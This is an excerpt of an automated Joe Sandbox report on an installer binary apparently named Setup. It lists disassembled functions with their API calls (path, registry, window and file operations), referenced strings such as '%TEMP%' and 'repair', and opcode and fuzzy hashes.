Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3$HandleModule
String ID: Unknown
API String ID: 1530205010-1654365787
Opcode ID: 0f3d658dc69fab1e30f65b08dd7e9c21148370536474c6510b1d6c6f18c19a61
Instruction ID: 502e439a8f12afb97bbc0e569f03baa40eebe268146f2f459f0dbaa43fed34c9
Opcode Fuzzy Hash: 0f3d658dc69fab1e30f65b08dd7e9c21148370536474c6510b1d6c6f18c19a61
Instruction Fuzzy Hash: 0C316D716147099AD728DFB8C842BEBB3A4BF25314F504E2EA165C7BC0DB30E9089755

Function 6C8F4AD6 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C8F4ADD

Part of subcall function 6C8F833E: __EH_prolog3.LIBCMT ref: 6C8F8345

Part of subcall function 6C8F8E4A: PathAppendW.SHLWAPI(00000000,?,?,?,?,?,6C9099FD,00000000,00000000,?,?,?,00000000,?,UiInfo.xml), ref: 6C8F8E6E

Part of subcall function 6C918EAB: _memcpy_s.LIBCMT ref: 6C918EFC

Strings

%TEMP%, xrefs: 6C8F4B04

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3$AppendPath_memcpy_s
String ID: %TEMP%
API String ID: 3727483831-235365282
Opcode ID: 0a67a1915982974efc23656a9c2e08fcf36e13bfd280f0490b0a15d0a4eb66ae
Instruction ID: f72710894f930d0cd6839d445a82c7a238efbe8d910d040837653858af096061
Opcode Fuzzy Hash: 0a67a1915982974efc23656a9c2e08fcf36e13bfd280f0490b0a15d0a4eb66ae
Instruction Fuzzy Hash: 2321713291010E9BCF10DBBCCA427EEB7B5AF21328F140A65E060EBBD5C774DA199751

Function 6C8D2677 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C8D267E

Part of subcall function 6C8C89B7: __EH_prolog3.LIBCMT ref: 6C8C89BE
Part of subcall function 6C8C89B7: __CxxThrowException@8.LIBCMT ref: 6C8C8A89

Part of subcall function 6C8D2811: __EH_prolog3.LIBCMT ref: 6C8D2818

Part of subcall function 6C8F833E: __EH_prolog3.LIBCMT ref: 6C8F8345

Strings

ReturnCode, xrefs: 6C8D26DE

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3$Exception@8Throw
String ID: ReturnCode
API String ID: 2489616738-1214168914
Opcode ID: 32ee4683ec2d760e36b23cba43af05465d7c354d5b90af1524107f131affc804
Instruction ID: e51ecc36eb919647dc8e9cea96ce51b367decc93c31c2bdcf3497655d4e04597
Opcode Fuzzy Hash: 32ee4683ec2d760e36b23cba43af05465d7c354d5b90af1524107f131affc804
Instruction Fuzzy Hash: F621A1B0510215DFCF20CFACC981A9E7BA8BF19718B14895AF424DF785C770D914CBA0

Function 6C90A11D Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C90A124

Strings

%TEMP%, xrefs: 6C90A189

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3
String ID: %TEMP%
API String ID: 431132790-235365282
Opcode ID: 02fa29a427c351ee56b8c9c44297d7c84a84fb8bf18edd1e6f01c7859527a175
Instruction ID: 2e63aa7ae448d2b52c80fad4db4e4cb0bb2aa39f77565d12d3e0f3ae27d49c90
Opcode Fuzzy Hash: 02fa29a427c351ee56b8c9c44297d7c84a84fb8bf18edd1e6f01c7859527a175
Instruction Fuzzy Hash: 85214271610219AFDF00DFA0CD49AEE7775FF14319F104524F921AAA90CB74DA15DBA4

Function 6C909293 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

GetCommandLineW.KERNEL32(38D98A99,6C8F831D,?,00000000,6C934C14,000000FF,?,6C8F7793,?,00000000), ref: 6C9092BF

Part of subcall function 6C8C3E77: __EH_prolog3.LIBCMT ref: 6C8C3E7E

Part of subcall function 6C8C3A16: __EH_prolog3.LIBCMT ref: 6C8C3A1D

Strings

repair, xrefs: 6C90932A

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3$CommandLine
String ID: repair
API String ID: 1384747822-2397320225
Opcode ID: 3933ee0195a7ad5b1f99a7637240fe043034749be286474ae0ef3f7d84a6742e
Instruction ID: 22a905d00ef30c69d6b32259f217806c05f6f644272da679fa08e8a651956037
Opcode Fuzzy Hash: 3933ee0195a7ad5b1f99a7637240fe043034749be286474ae0ef3f7d84a6742e
Instruction Fuzzy Hash: 7D11B632658740ABC710DB58CD41BDAB3DCEB8A738F150E2EB96597AD0DB30E5448A82

Function 6394FF39 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

GetWindowPlacement.USER32(?,?), ref: 6394FF6A

Part of subcall function 639676EE: _calloc.LIBCMT ref: 6396770F

Part of subcall function 639683CE: __CxxThrowException@8.LIBCMT ref: 639683E2

Strings

,, xrefs: 6394FF63

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: Exception@8PlacementThrowWindow_calloc
String ID: ,
API String ID: 1982324250-3772416878
Opcode ID: 3ec933395b5b2377952e2523a04e2f2daa64e470d8de8d5ab6a5a8d6922cad34
Instruction ID: 8af9d671cb0da918a362311f4e212399892b4c4bebcc6f076ee2b53ab1db3b83
Opcode Fuzzy Hash: 3ec933395b5b2377952e2523a04e2f2daa64e470d8de8d5ab6a5a8d6922cad34
Instruction Fuzzy Hash: F0114C72905309AFDB00DFA8D88099EF7F9FB4A714B21442AE859E7200D730F940CFA0

Function 6C8C388B Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C8C3892

Strings

Entering Function, xrefs: 6C8C38BE

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3
String ID: Entering Function
API String ID: 431132790-2002471330
Opcode ID: b5a450b1e38a2570ba9ea04e2bc10f8741731c63668d3972b6cb73b2f0dd153a
Instruction ID: 57125ae82b61c30876614350ac48f8afdd446e8fa3933b42985d67c87dbb04b4
Opcode Fuzzy Hash: b5a450b1e38a2570ba9ea04e2bc10f8741731c63668d3972b6cb73b2f0dd153a
Instruction Fuzzy Hash: 25F032356002019FDB20DF68C941B9DB7E0EF64714F10C809E885CBB14CB38EC60DB40

Function 6C8C38D7 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 20COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C8C38DE

Strings

exiting function/method, xrefs: 6C8C38EF

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3
String ID: exiting function/method
API String ID: 431132790-2452647166
Opcode ID: 393651330c407160ceae5cfdda2ad0fc930f0a8b5b45c360640d4f9603247c5b
Instruction ID: 1866c6c09129283558223d058b6fe8eba1df96bc29f042fdbb4a3e1c625daed3
Opcode Fuzzy Hash: 393651330c407160ceae5cfdda2ad0fc930f0a8b5b45c360640d4f9603247c5b
Instruction Fuzzy Hash: 9FE0E5352106019FD710DFA8C159B89B7A2FF68315F108498E6958FBA4CB35EC24DB51

Function 6C8E736E Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 20fileCOMMON

Download Yara Rule

APIs

MapViewOfFile.KERNEL32(00000000,00000002,00000000,00000000,00000424,6C8E772B,?,?,?,?,00000001), ref: 6C8E739A

Strings

The handle to the section is Null, xrefs: 6C8E7380

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: FileView
String ID: The handle to the section is Null
API String ID: 3314676101-179083574
Opcode ID: ed1c81f753d23a3beeb351a506d665bfcc28719ca17a24c3a06e9cec122a305b
Instruction ID: e83fd81415b8406680554feee91f1198fca2449a573b1646949745bff662d814
Opcode Fuzzy Hash: ed1c81f753d23a3beeb351a506d665bfcc28719ca17a24c3a06e9cec122a305b
Instruction Fuzzy Hash: 78E0BFB0784702AFE7708F699E06B057AE0AF09704F50CC19B655EAA91D671E4408B44

Function 639509A7 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 17libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE(RICHED20.DLL,?,6395CA98,00000000,00000001,?,80070057,63945D9C,?,00000030,80070057), ref: 639509C9

Strings

RICHED20.DLL, xrefs: 639509B5

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: LibraryLoad
String ID: RICHED20.DLL
API String ID: 1029625771-992299850
Opcode ID: e772bdfde2e95b593c03a3931c4fc942a39b531f169ad9143a387f799a591c52
Instruction ID: 1e44a911e35a0d24920b5961c1ce163851d64a5510bcbf2a14b6bb5080c7f458
Opcode Fuzzy Hash: e772bdfde2e95b593c03a3931c4fc942a39b531f169ad9143a387f799a591c52
Instruction Fuzzy Hash: C6E0FEB1905B409F87609F6BE544542FBF8BFAAA113104A1FD09AC6A25D3B0A1458F54

Function 6C5D3536 Relevance: 3.2, APIs: 2, Instructions: 213COMMON

Download Yara Rule

APIs

ctype.LIBCPMT ref: 6C5E2015
ctype.LIBCPMT ref: 6C5E202A

Part of subcall function 6C5D17EB: malloc.MSVCRT ref: 6C5D17F6

Part of subcall function 6C5D2885: InitializeCriticalSectionAndSpinCount.KERNEL32(00000004,00000FA0,?,00000000,00000000), ref: 6C5D28C4

Part of subcall function 6C5D3992: EnterCriticalSection.KERNEL32(?,00000000,6C5D397F,00000000,6C5D371E,80004005), ref: 6C5D39AE

Part of subcall function 6C5D2C9B: VirtualAlloc.KERNEL32(00000000,?,00002000,00000004,6C5D27B0,00000000,6C5F0088), ref: 6C5D2D01
Part of subcall function 6C5D2C9B: VirtualAlloc.KERNEL32(?,00000000,00001000,00000004,000003F8,00000000,?,?,?,?,6C5D27B0,00000000,6C5F0088), ref: 6C5D2D4F

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: AllocCriticalSectionVirtualctype$CountEnterInitializeSpinmalloc
String ID:
API String ID: 738331480-0
Opcode ID: 1791fbcc9bc8fb1bf8dbd8aefbabfc203cfcc86397cde3a3353af89b496b949a
Instruction ID: abc6c4b08b699f9eb15e7ec5a48eef2ae818d32353b8874c3aba7f570fabe8ce
Opcode Fuzzy Hash: 1791fbcc9bc8fb1bf8dbd8aefbabfc203cfcc86397cde3a3353af89b496b949a
Instruction Fuzzy Hash: D671B030245381EBDB148F19CC84F9A3AE5BB89308F664869E525DBEA2C771E845CF54

Function 6C90D779 Relevance: 3.1, APIs: 2, Instructions: 144COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C90D780

Part of subcall function 6C8E3096: __EH_prolog3.LIBCMT ref: 6C8E309D

InitializeCriticalSection.KERNEL32(0000000C), ref: 6C90D96A

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3$CriticalInitializeSection
String ID:
API String ID: 1185523453-0
Opcode ID: 3fc06d3155f92bc62115b13950e359060fa565287ef26adc1e6dbb5259f1d79f
Instruction ID: 289df8d8d5881603c343c804346b92288a194854773ef78b618e69a3b9ff60e9
Opcode Fuzzy Hash: 3fc06d3155f92bc62115b13950e359060fa565287ef26adc1e6dbb5259f1d79f
Instruction Fuzzy Hash: 42616D7560164ADFCF01CF68C584BCEBBB4BF19308F148559E958AB341C774EA19CBA1

Function 63952996 Relevance: 3.1, APIs: 2, Instructions: 95COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6395299D
RaiseException.KERNEL32(C000008C,00000001,00000000,00000000,00000008,639550CF,639671D0,?,639671D0,?,?,?,00000000,63955C04,?,?), ref: 63952A79

Part of subcall function 63960717: __EH_prolog3.LIBCMT ref: 6396071E
Part of subcall function 63960717: __recalloc.LIBCMT ref: 63960766

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: H_prolog3$ExceptionRaise__recalloc
String ID:
API String ID: 3369754026-0
Opcode ID: fc6a087662c84664f9662cbf346bf3d42c49e3a13e12f8b043ece5fdc617ad00
Instruction ID: 87b5018859cefa88f2c132e52a40953703b86909399cd25cf920cdc4c0dbb905
Opcode Fuzzy Hash: fc6a087662c84664f9662cbf346bf3d42c49e3a13e12f8b043ece5fdc617ad00
Instruction Fuzzy Hash: FD31C97190060AEBDB20CF59C9C099EF7B4FF14764B68892AF96997641C330F9A1CF91

Function 63965CD1 Relevance: 3.1, APIs: 2, Instructions: 78windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 63965D69
SendMessageW.USER32(?,-0000190B,?,?), ref: 63965D90

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: ItemMessageSend
String ID:
API String ID: 3015471070-0
Opcode ID: 9665a9ef357b9a0e22948b7cf1b8d789f3032b32bf6639297c4d06e6ab427a3c
Instruction ID: 86d92f138ff55b8a33e5ad9e02af45e81c4aa4392c17970582924e237a670c12
Opcode Fuzzy Hash: 9665a9ef357b9a0e22948b7cf1b8d789f3032b32bf6639297c4d06e6ab427a3c
Instruction Fuzzy Hash: 8B110833B06A046BFB201949C9FCA5E76AED783FD0F090526F915871FBD724D4818D51

Function 6C8D4613 Relevance: 3.1, APIs: 2, Instructions: 59registryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C91847A: RegCloseKey.ADVAPI32(?,?,?,6C8D463B,00000034,00000034,00000000), ref: 6C9184BA

RegCloseKey.ADVAPI32(?,00000034,00000034,00000034,00000034,00000000,00000000,?,00000034,RegKey,?,RegValueName,00000034,6C8D42F8,6C8BA794,02F92298), ref: 6C8D468D
RegCloseKey.ADVAPI32(?,00000034,00000034,00000000,00000000,?,00000034,RegKey,?,RegValueName,00000034,6C8D42F8,6C8BA794,02F92298), ref: 6C8D469E

Part of subcall function 6C9183D2: RegQueryValueExW.ADVAPI32(00000000,00000034,00000000,00000034,00000034,00000000,?,?,6C8D4685,?,?,6C8D42F8,00000034,00000034,00000034,00000034), ref: 6C9183F4

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: Close$QueryValue
String ID:
API String ID: 2393043351-0
Opcode ID: 9478c5c515b19a81a73c8d81db745c0e6e9208c3eb1d5802b651a7c5c5273550
Instruction ID: 2dc5c9b1a641527ef07fedcdc0ac94ea34272d1b4aec4786355d5190d31d3a59
Opcode Fuzzy Hash: 9478c5c515b19a81a73c8d81db745c0e6e9208c3eb1d5802b651a7c5c5273550
Instruction Fuzzy Hash: 1D111675E00229EFCF11DF96D9048DEBB7AEF98B18B164462F811A2610D374AA15EBD0

Function 6C8F3114 Relevance: 3.1, APIs: 2, Instructions: 56COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C8F311B
_free.LIBCMT ref: 6C8F31A9

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3_catch_free
String ID:
API String ID: 2207867443-0
Opcode ID: 3c45f6e155c628b72f30c9d99c3eb895e3272996be1f94d9606de70606ca9d81
Instruction ID: 8528dbb042f974b8b7c50ca609bba552e8337c2bd9733381d01739a4a5acdee6
Opcode Fuzzy Hash: 3c45f6e155c628b72f30c9d99c3eb895e3272996be1f94d9606de70606ca9d81
Instruction Fuzzy Hash: B311B170A05309EFDF10CB64C6457ECB7B0AF25359F204958E474ABA81C775CA99C692

Function 639663D4 Relevance: 3.1, APIs: 2, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6394E2E1: GetCurrentProcess.KERNEL32(00000000,0000000D), ref: 6394E319
Part of subcall function 6394E2E1: FlushInstructionCache.KERNEL32(00000000), ref: 6394E320

SetLastError.KERNEL32(0000000E,00000000,?,?,639644A7,?,?,00000000,50010000,00000000,?,?,639821D0,00000020,?,00000000), ref: 639663EF
CreateWindowExW.USER32(?,?,00000000,?,?,?,?,?,?,?,00000000,00000000), ref: 63966456

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: CacheCreateCurrentErrorFlushInstructionLastProcessWindow
String ID:
API String ID: 852167079-0
Opcode ID: 33e87ec8f00613671ec6ee1daf450d279b82bd4a0bbf0d510f3d2f59bbd81827
Instruction ID: 663a054db461fa1e44e96b36d481cecbae6aedc80ceafc1737f5de24a59a936b
Opcode Fuzzy Hash: 33e87ec8f00613671ec6ee1daf450d279b82bd4a0bbf0d510f3d2f59bbd81827
Instruction Fuzzy Hash: 88113C32205209AFDB019F59CC04EAB7BA9EB8AB50F058529F908DB151D735D861DFA0

Function 6C8F3B2B Relevance: 3.1, APIs: 2, Instructions: 55COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C8F3B32

Part of subcall function 6C8F833E: __EH_prolog3.LIBCMT ref: 6C8F8345

Part of subcall function 6C8F4513: __CxxThrowException@8.LIBCMT ref: 6C8F45A2

Part of subcall function 6C8C8168: GetFileSize.KERNEL32(?,?,?,?,?,6C8F3B9F,?,?,00000000,?,?,?,?,00000008,6C8FEC79,?), ref: 6C8C8178

InitializeCriticalSection.KERNEL32(00000002,?,00000000,00000000,00000002,?,?,00000000,?,?,?,?,00000008,6C8FEC79,?,?), ref: 6C8F3BC9

Part of subcall function 6C8C80F7: WriteFile.KERNEL32(?,?,?,?,00000000,?,6C8F60F1), ref: 6C8C810D

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: FileH_prolog3$CriticalException@8InitializeSectionSizeThrowWrite
String ID:
API String ID: 593797809-0
Opcode ID: edab08114f0562f61adf0c10c8ca06effa942f36efc001b1ad2dc819d18cf797
Instruction ID: 784bd40f18cb8610378787963951e88c9ee4e5b9a5d8b118ba1dee26226ba0cb
